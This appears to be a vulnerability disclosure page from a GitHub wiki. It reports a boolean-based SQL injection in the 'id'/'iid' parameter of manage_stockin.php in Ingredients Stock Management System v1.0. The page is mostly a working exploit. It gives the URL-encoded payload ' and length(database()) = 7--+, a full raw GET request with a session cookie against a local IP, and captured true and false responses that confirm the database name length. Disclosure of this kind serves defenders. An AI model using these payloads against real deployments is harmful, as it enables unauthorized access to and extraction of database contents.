

master ▾

...

[vul-wiki](#) / [vendors](#) / [oretnom23](#) / [ingredients-stock-management-system](#) / [SQLi-14.md](#)

debug601 Create SQLi-14.md

[History](#)[1 contributor](#)

29 lines (21 sloc) | 1.21 KB

...

Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/admin/stocks/manage_stockin.php

Vulnerability location /isms/admin/stocks/manage_stockin.php, iid

db_name = isms_db;length=7


[+] Payload: /isms/admin/stocks/manage_stockin.php?


iid=4&id=4%27%20and%20length(database())%20=%207--+ // Leak place ---> iid


```
GET /isms/admin/stocks/manage_stockin.php?iid=4&id=4%27%20and%20length(database())%20=%207--+&Host: 192.168.1.19
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
Connection: close
```





When length (database ()) = 7

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRY

 Load URL 192.168.1.19/isms/admin/stocks/manage_stockin.php?iid=4&iid=4' and length(database()) = 7--+|

 Split URL

 Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64  Insert string to replace

Date 2022-05-13


Quantity 35


Test #101


Remarks





When length (database ()) = 6

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML EN

 Load URL 192.168.1.19/isms/admin/stocks/manage_stockin.php?iid=4&iid=4' and length(database()) = 6--+|

 Split URL

 Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64  Insert string to repl

Date

Quantity

Remarks